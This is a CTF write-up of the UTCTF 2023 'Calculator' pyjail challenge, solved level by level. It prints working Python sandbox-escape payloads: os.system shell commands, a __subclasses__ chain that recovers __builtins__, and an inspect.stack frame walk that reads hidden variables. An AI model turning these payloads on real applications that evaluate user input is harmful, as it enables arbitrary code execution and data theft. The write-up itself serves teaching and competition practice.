Calculator - UTCTF 2023
Writeups for challenges I solved at UTCTF 2023.
This past weekend I briefly took a look at a couple challenges from UTCTF 2023. There were a few interesting challenges and I wanted to writeup my solve of one of them. My team, Psi Beta Rho, has been taking a look at pyjail challenges recently and I was excited that I was able to solve one!
Prompt
Visiting the challenge page, we are presented with a simple interface with the title “A Smart Number Guessing Game” where we have to guess the correct number from each level to get a password to reach the next level. After trying a few attempted inputs, the resulting number is truly random and we have no way of guessing the correct number. After attempting an input of 1+1
, I was able to discern that this was potentially a pyjail challenge.
Level 0
Beginning with the first level, since I discerned that this was a pyjail challenge, I attempted to achieve RCE by inputting a common payload, __import__('os').system('ls')
. This resulted in the following output:
1
2
3
4
> __import__('os').system('ls')
password.txt
problem.py
Result: 0. The correct answer was 3935931108.
The above is a common pyjail one-liner that utilizes Python’s dunder or magic functions to call functions. The above code is equivalent to the following Python code:
1
2
import os
os.system('ls')
Now that we know that we can execute arbitrary Python code, we can attempt to do further reconnaissance on the system. I attempted to read the contents of the problem.py
file to see what the code was doing:
1
2
3
4
5
6
7
8
9
10
11
12
13
> __import__('os').system('cat problem.py')
import random
password = open("password.txt").read()
solution = random.getrandbits(32)
answer = input()
result = eval(answer)
if result == solution:
print(f"{result}, correct! The password is '{password}'.")
else:
print(f"Result: {result}. The correct answer was {solution}.")
Result: 0. The correct answer was 2570371923.
In the above leaked source code, we see the core vulnerability of the user’s input being directly passed into an eval
allowing the execution of arbitrary code. We can then grab the first password by reading the contents of the password.txt
file. Submitting this password, we can the progress to the next level.
1
2
> __import__('os').system('cat password.txt')
PuXqj7n4WNZzStnWbtPvResult: 0. The correct answer was 2105213148.
The following is an additional solution to leak the password.
1
2
> password
PuXqj7n4WNZzStnWbtPvResult: 0. The correct answer was 2105213148.
Level 1
Trying the same payload as before, we get the following output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
> __import__('os').system('cat problem.py')
import random
password = open("password.txt").read()
solution = random.getrandbits(32)
answer = input()
# No locals allowed!
result = eval(answer, {"open": None})
if result == solution:
print(f"{result}, correct! The password is '{password}'.")
else:
print(f"Result: {result}. The correct answer was {solution}.")
Result: 0. The correct answer was 2758269906.
We notice that eval
has been restricted so that the open
function can no longer be used. The solution to the first level still worked so we can still read the contents of the password.txt
file and move on to the next level.
1
2
> __import__('os').system('cat password.txt')
Krdi9yQuY8mHoteZDCF5Result: 0. The correct answer was 4248372865.
Level 2
Trying the same payload as before, we get the following output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> __import__('os').system('cat problem.py')
import random, os
password = open("password.txt").read()
os.remove("password.txt") # No more reading the file!
solution = random.getrandbits(32)
answer = input()
result = eval(answer, {})
if result == solution:
print(f"{result}, correct! The password is '{password}'.")
else:
print(f"Result: {result}. The correct answer was {solution}.")
Result: 0. The correct answer was 1887084712.
We notice that there are no longer any restrictions on eval
like the previous level. However, the password.txt
file is deleted before we can read it! I ran through a couple of potential ideas to try to recover the password. One idea I potentially had was to look for looking for dangling file descriptors since the open
function was called before the close
function was called on the file descriptor. Another idea was that the terminal history might have the password in it. Checking the /proc/self
directory in /proc/self/fd
and /proc/self/cmdline
revealed that the file descriptors were properly closed and the terminal history was not stored. I then realized that the password
variable was still in scope and could be accessed. After these attempts, I finally came up with the following payload.
1
2
> __import__('__main__').password
Result: E46Dnqb5enAMgGArbruu. The correct answer was 877245485.
The __main__
dunder is the reserved name for the main module which the program is currently running. Importing this module allows us to access the password
variable in the main module’s scope because Python allows access to variables in the global scope of a module. After accessing this global, we are able to submit this password and move on to the next level.
After talking with some other competitors and the organizers after the CTF was over, I learned that this was actually an unintended solution. The intended solution was to take advantage of the inspect
module where the stack
function can be used to access the globals of the calling frame. More explanation will be included in the next part of this writeup.
Level 3
Starting the level with the same set up payload as before, we get the following error.
1
2
3
4
5
6
> __import__('os').system('cat problem.py')
Traceback (most recent call last):
File "problem.py", line 9, in <module>
result = eval(answer, {"__builtins__": {}})
File "<string>", line 1, in <module>
NameError: name '__import__' is not defined
The namespace of the eval
is now more restrictive to set __builtins__
to {}
. Many essential functions such as __import__
are a part of __builtins__
so we can no longer use the same payload as before. Luckily, this was something that my team had talked about recently (shoutout to Jason An for sharing this idea at PBR practice)! The goal of this level is to recover __builtins
so that we can use the same payload as before. The following is the payload that I used to recover the final password!
1
2
> ().__class__.__base__.__subclasses__()[-25].__init__.__globals__['__builtins__']['__import__']('__main__').password
Result: 5F4p7aLgQ5Nfn5YM8s68. The correct answer was 425718691.
The first part of the payload, ().__class__.__base__.__subclasses__()
, takes advantage of all of Python’s types being objects. ().__class__
is a tuple which returns <class 'tuple'>
. The corresponding base class is <class 'object'>
which is the base class of all Python objects. The __subclasses__
function returns a list of all the subclasses of the object parent object. For this reason, we are able to recover the list of all the subclasses of the object
class which contains all modules. A key thing to understand about cpython
, the main interpreter for Python is that a number of its modules are written in Python, but some of its modules are written in C. Only the modules written in Python have __globals__
defined on them. For this reason, we need to find a module that is written in Python. Iterating backwards, I worked from index -1 till I found a module at index -25 where __globals__
was defined. From there, we are able to recover __builtins__
from the __globals__
dictionary and we are then able to recover the __import__
function from the __builtins__
dictionary. We can then use the same payload as before to recover the password. Inputting the final password, we get the flag!
Speaking with the challenge author after the CTF, I learned that the intended solution was to use the inspect
module. The stack
function in the inspect
module returns a list of frame records for the current call stack. The frame records contain the global variables of the calling frame. The following is the intended solution.
1
2
3
(lambda b=((lambda n:[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__==n][0])("catch_warnings")()._module.__builtins__):
b["eval"]("""[frame.frame.f_locals.get("password") for frame in __import__("inspect").stack()]""", {"__builtins__": b})
)()
catch_warnings
is an alternate path to recover __builtins__
. The main idea of the solution is to call the stack
function from the inspect
module. cpython
’s call stack stores the locals of each frame on the stack. The above script grabs the stack and then traverses every frame on the stack to access locals to get the password
variable.